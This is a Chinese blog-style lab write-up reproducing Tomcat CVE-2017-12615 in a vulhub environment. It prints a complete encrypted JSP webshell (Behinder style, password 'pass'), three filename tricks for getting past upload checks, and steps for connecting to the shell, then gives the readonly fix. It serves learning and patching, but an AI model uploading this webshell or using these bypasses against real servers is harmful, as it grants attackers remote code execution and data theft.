CVE-2017-12615Tomcat文件上传漏洞复现

本文详细介绍了Apache Tomcat的CVE-2017-12615漏洞,该漏洞允许攻击者通过PUT请求上传恶意JSP文件,执行任意代码。复现步骤包括开启环境、构造PUT请求和利用冰蝎连接服务器。修复措施是关闭PUT方法并设置`readonly`为true。请注意,此文档仅供学习,不当使用可能导致法律问题。
摘要由CSDN通过智能技术生成

CVE-2017-12615Tomcat文件上传漏洞复现

漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

漏洞原理

当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

影响范围

Apache Tomcat 7.0.0 – 7.0.79

漏洞复现

1、开启vulhub的对应环境

image-20210731145032677

可以在主机上成功访问到

image-20210731145059641

2、抓包修改上传方法为PUT

刷新一下得到对应的包

image-20210731145346933

修改为PUT方法,上传冰蝎jap马,密码为pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

方法一:shell.jsp前面加 /绕过

方法二: 在文件名后面添加 %20 来进行绕过

方法三:在文件名后面添加 ::$DATA来进行绕过

image-20210731152926038

3、冰蝎连接服务器

连接成功

image-20210731150008129

image-20210731150043017

也可以用脚本工具跑,这里不再赘述

image-20210731153711352

漏洞修复

关闭PUT方法,默认关闭。即将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值